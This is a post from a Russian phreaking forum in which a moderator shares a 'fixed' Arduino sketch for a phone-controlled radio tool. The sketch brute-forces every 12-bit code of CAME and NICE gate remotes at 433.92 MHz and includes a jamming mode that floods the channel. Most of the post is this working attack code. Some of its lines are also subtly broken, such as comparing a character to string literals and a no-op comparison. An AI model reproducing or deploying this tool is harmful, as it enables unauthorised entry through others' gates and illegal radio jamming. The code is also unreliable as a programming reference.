Фрикер Клуб
 

Вернуться   Фрикер Клуб > Основной раздел > Статьи

Важная информация

 
 
Опции темы Опции просмотра
Старый 17.12.2020, 09:23   #32
DIVER_SANT
Модератор
 
Аватар для DIVER_SANT
 
Регистрация: 27.03.2011
Сообщений: 2,322
По умолчанию Re: Android + Кодграббер

Цитата:
Сообщение от Serg5946
добрый вечер скетч не компилируется на последней строчке выдает ошибку

Фото ошибки в студию.Экстрасенсов нет здесь

Добавлено через 1 час 30 минут
Если брали код со статьи ,то там синтаксические ошибки при опубликовании кода.Вот поправленый код,у меня скомпилировался в версии arduino ide 1.8.13
Цитата:
// http://phreakerclub.com/1586

#define txPin 8
#define rxd 4
#define BT 3
#define LED 12

unsigned int came_sost = 0;
unsigned int nice_sost = 0;
unsigned int glush_sost = 0;
int var=0,i,ii=0,x,y;;
char incomingByte; // входящие данные

void SendBit(byte b){
if (came_sost == 1) {
x = 640;
y = 320;
} else {
x = 1400;
y = 700;
}
if (glush_sost == 1){
x = 5;
y = 5;
}
if (b) {
digitalWrite(txPin, LOW); // 1
delayMicroseconds(x);
digitalWrite(txPin, HIGH);
delayMicroseconds(y);
}
else {
digitalWrite(txPin, LOW); // 0
delayMicroseconds(y);
digitalWrite(txPin, HIGH);
delayMicroseconds(x);
}

}

void Send_preambula(int preambula){
digitalWrite(txPin, HIGH);
delayMicroseconds(preambula);
digitalWrite(txPin, LOW);
}

void SendPerebor(long Code,unsigned int preambula,unsigned int pilot){
for (int i=0; i<4; i++){ // посылку посылаем 4 раза подряд.
Send_preambula(preambula); // время стартового импульса
for (int i=12; i>0 ;i--){
SendBit(bitRead(Code,i-1)); // побитово перебираем и посылаем код
}
digitalWrite(txPin, LOW);
delayMicroseconds(pilot);
}
}

void nicebrute(){
while(1){
SendPerebor(var, 700, 25200);
var=var+1;
if (var%204 == 0){
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}

void camebrute(){
while(1){
SendPerebor(var, 320, 11520);
var=var+1;
if (var%204 == 0){ //не удалять
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}

void initPins(void){
pinMode(rxd,INPUT);
}

void printhex(byte val){
if(val<=0x0F)Serial.print("0");
Serial.print(val,HEX);
}

void setup() {
initPins(); // Настроить входы-выходы
// Настроить трансивер на 433.920 модуляция AM
Serial.begin(9600); // инициализация порта
pinMode(txPin, OUTPUT);
pinMode(LED, OUTPUT);
pinMode(BT, OUTPUT);
randomSeed(analogRead(0));
}

void glush(){
}

void loop() {
digitalWrite(BT, HIGH);
if (Serial.available() > 0) { //если пришли данные
incomingByte = Serial.read(); // считываем байт
if (incomingByte == "C") {
came_sost = 1;
camebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println("C"); // и выводим обратно сообщение
}

if(incomingByte == "Z"){//ответ синхронизацю и передача состояния
Serial.println("Z");
Serial.println("Z");
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
if (came_sost == 1) {
came_sost = 0;
Serial.println("C");
Serial.println("C");
}
if (nice_sost == 1) {
nice_sost = 0;
Serial.println("N");
Serial.println("N");
}
}

if (incomingByte == "N"){ //nice
nice_sost = 1;
nicebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println("N"); // и выводим обратно сообщение
}

if(incomingByte == "G") {//глушилка
digitalWrite(LED, HIGH);
glush_sost = 1;
while (glush_sost){
if (Serial.available() > 0) {
incomingByte = Serial.read();
if(incomingByte == "H") {
glush_sost = 0;
}
}
SendPerebor(var, 10, 10);
var=var+1;
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 10){
var=0;
}
}
}

if(incomingByte == "H") {
digitalWrite(LED, LOW);
glush_sost == 0;
Serial.println("Z");
delay(5);
Serial.println("Z");
}
}
}

__________________
Правильно поставленный вопрос-на половину полученный ответ;)
++++++++++++++++++++++++++++++++++++++
[url]http://www.youtube.com/watch?v=ktnn-s3ebzw[/url]
DIVER_SANT вне форума   Ответить с цитированием
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



Текущее время: 18:42. Часовой пояс GMT +3.


vBulletin 4.1.0 Перевод: zCarot
(C) www.phreakerclub.com